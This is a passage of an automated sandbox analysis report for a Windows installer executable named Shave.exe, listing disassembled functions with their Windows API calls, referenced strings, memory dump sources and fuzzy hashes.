Instruction Fuzzy Hash: B1418C71800209AFCF058F95DE459AF7BB9FF45310F00842AF591AA1A0CB38D954DFA4

Function 00405EE3 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,0040607E,?,?), ref: 00405F1E
GetShortPathNameW.KERNEL32(?,007A55C0,00000400), ref: 00405F27

Part of subcall function 00405CF2: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D02
Part of subcall function 00405CF2: lstrlenA.KERNEL32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D34

GetShortPathNameW.KERNEL32(?,007A5DC0,00000400), ref: 00405F44
wsprintfA.USER32 ref: 00405F62
GetFileSize.KERNEL32(00000000,00000000,007A5DC0,C0000000,00000004,007A5DC0,?,?,?,?,?), ref: 00405F9D
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405FAC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FE4
SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,007A51C0,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 0040603A
GlobalFree.KERNEL32(00000000), ref: 0040604B
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00406052

Part of subcall function 00405D8D: GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\Shave.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D91
Part of subcall function 00405D8D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DB3

Strings

[Rename], xrefs: 00405FCC, 00405FDE
%ls=%ls, xrefs: 00405F58

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 210d5d9a443b3001b4c7cda13cc78adcf358d44dd1d7e4f25ad0eda9c69d4b7c
Instruction ID: 42876e8bd8e74e9ce15c52ab3024c97c29192655820983ae090f8c600f4dcad6
Opcode Fuzzy Hash: 210d5d9a443b3001b4c7cda13cc78adcf358d44dd1d7e4f25ad0eda9c69d4b7c
Instruction Fuzzy Hash: 25312530240B156BD220BB218D48F6B3A9DEF86744F15003AFA42F62D1EA7DD8148ABD

Function 0040652B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shave.exe",00403347,C:\Users\user\AppData\Local\Temp\,75923420,004035B6,?,00000006,00000008,0000000A), ref: 0040658E
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 0040659D
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shave.exe",00403347,C:\Users\user\AppData\Local\Temp\,75923420,004035B6,?,00000006,00000008,0000000A), ref: 004065A2
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shave.exe",00403347,C:\Users\user\AppData\Local\Temp\,75923420,004035B6,?,00000006,00000008,0000000A), ref: 004065B5

Strings

"C:\Users\user\Desktop\Shave.exe", xrefs: 0040652B
C:\Users\user\AppData\Local\Temp\, xrefs: 0040652C, 00406531
*?|<>/":, xrefs: 0040657D

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Shave.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3265401821
Opcode ID: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction ID: 354a4add7e9ac5ce680480da4fd3ed99b8030fd96c8c1ffbe99f836226306b46
Opcode Fuzzy Hash: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction Fuzzy Hash: 4511B655800612A5DF303B14AD44A7772F8EF547A0F56443FE985733C4E77C5C9286AD

Function 00404275 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404292
GetSysColor.USER32(00000000), ref: 004042D0
SetTextColor.GDI32(?,00000000), ref: 004042DC
SetBkMode.GDI32(?,?), ref: 004042E8
GetSysColor.USER32(?), ref: 004042FB
SetBkColor.GDI32(?,?), ref: 0040430B
DeleteObject.GDI32(?), ref: 00404325
CreateBrushIndirect.GDI32(?), ref: 0040432F

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 595a5ac3551c8926a474018cd00e052a0643935c19338169816fcf7950983a94
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: BD2135716007049FCB219F68DD48B5BBBF8AF81715B048A3EED96A26E0D734E944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405E6E: SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,00000000,?,?,0040262F,00000000,00000000,?,00000000,00000011), ref: 00405E84

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: d48387ae3e024a72c6243637e6df33ec40d1b18911dabf8db30d8cce87806c70
Instruction ID: 60624729709df044e3b9a276a2138f1bd207bb457e97f94edfd4483e5cf9eee0
Opcode Fuzzy Hash: d48387ae3e024a72c6243637e6df33ec40d1b18911dabf8db30d8cce87806c70
Instruction Fuzzy Hash: 61510974D10219AEDF219F95DA88AAEB779FF04304F50443BE901F72D0DBB89982CB58

Function 004052FF Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A0F00,00000000,007924D8,759223A0,?,?,?,?,?,?,?,?,?,00403257,00000000,?), ref: 00405337
lstrlenW.KERNEL32(00403257,007A0F00,00000000,007924D8,759223A0,?,?,?,?,?,?,?,?,?,00403257,00000000), ref: 00405347
lstrcatW.KERNEL32(007A0F00,00403257,00403257,007A0F00,00000000,007924D8,759223A0), ref: 0040535A
SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d3653f13458b7317840ca79dc32cb7632281d068d931c5ba13ed513af890554b
Instruction ID: 8b92f55a8d4b67b8ae829402156b3fb25f72412c241cd3f1eea2d9b1658803e5
Opcode Fuzzy Hash: d3653f13458b7317840ca79dc32cb7632281d068d931c5ba13ed513af890554b
Instruction Fuzzy Hash: 66216071900618BACB11AFA5DD859CFBF78EF85350F10846AF904B62A0C7B94A50CF98

Function 00404BC9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404BE4
GetMessagePos.USER32 ref: 00404BEC
ScreenToClient.USER32(?,?), ref: 00404C06
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404C18
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C3E

Strings

f, xrefs: 00404C1A

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: e2d68be7770c43893e1e2478522bb0d44a2fa382b0b36792216c84cf33d7cb12
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 6F015E71D00218BAEB00DB94DD85BFFBBBCAF95B11F10412BBA51B61D0C7B49A018BA4

Function 00401DB9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDA8), ref: 00401E3E

Strings

Tahoma, xrefs: 00401E24

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: 5bd6bd5a0da59a8b862859853f94caf732d3d6ef064c8fd9610db6583930af4a
Instruction ID: 8812a6a15301a194985102fbed33e50eefbd915e65da34b8167a76c641a3bf07
Opcode Fuzzy Hash: 5bd6bd5a0da59a8b862859853f94caf732d3d6ef064c8fd9610db6583930af4a
Instruction Fuzzy Hash: 1B017571948240EFE7406BB4AF8A7D97FB49F95301F10457EE241B71E2CA7804459F2D

Function 00402DF3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
MulDiv.KERNEL32(0008622C,00000064,00086230), ref: 00402E3C
wsprintfW.USER32 ref: 00402E4C
SetWindowTextW.USER32(?,?), ref: 00402E5C
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E6E

Strings

verifying installer: %d%%, xrefs: 00402E46

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 1a328351c5421bd6383489faae0abdae529a3cf17d73acb180239156b2535a4a
Instruction ID: 3b7df5e00b9d055b55134e233a6447c2e1405f162d6c23549fa63679cea1b34f
Opcode Fuzzy Hash: 1a328351c5421bd6383489faae0abdae529a3cf17d73acb180239156b2535a4a
Instruction Fuzzy Hash: 5601677164020CBFDF109F50DD49FAE3B69AB04305F108439FA05B51E0DBB98555CF58

Function 6F97256D Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6F97121B: GlobalAlloc.KERNEL32(00000040,?,6F97123B,?,6F9712DF,00000019,6F9711BE,-000000A0), ref: 6F971225

GlobalFree.KERNEL32(?), ref: 6F97265B
GlobalFree.KERNEL32(00000000), ref: 6F972690

Memory Dump Source

Source File: 00000000.00000002.2386745512.000000006F971000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F970000, based on PE: true

Associated: 00000000.00000002.2386728456.000000006F970000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386788272.000000006F973000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386807263.000000006F975000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f970000_Shave.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: ab00b9765c9d7114486d3667bcdec5be846ee35255466de9f6ae06ab9a45a458
Instruction ID: c6126a7ed7ec89913452f409ae227e89680d3162b460e33967fa9e72404ee5c6
Opcode Fuzzy Hash: ab00b9765c9d7114486d3667bcdec5be846ee35255466de9f6ae06ab9a45a458
Instruction Fuzzy Hash: E2318D31918711EFDB348F68C998C2B77BAFB8B318710456BF581872A0DB31E9658F15

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 4c7fd7b1f91375a2558ff4a0a047554b9ac13023ec1a621a7b7447f5a49afdce
Instruction ID: 9b62f472eb3a95df078ad497759be9c31f6c15c11f60cf08f6005a6c9cb4e6e4
Opcode Fuzzy Hash: 4c7fd7b1f91375a2558ff4a0a047554b9ac13023ec1a621a7b7447f5a49afdce
Instruction Fuzzy Hash: 9921BFB1C00128BBCF116FA5DE49D9E7E79EF09364F14423AF960762E0CB794C419B98

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsa5D43.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nsa5D43.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
C:\Users\user\AppData\Local\Temp\nsa5D43.tmp, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
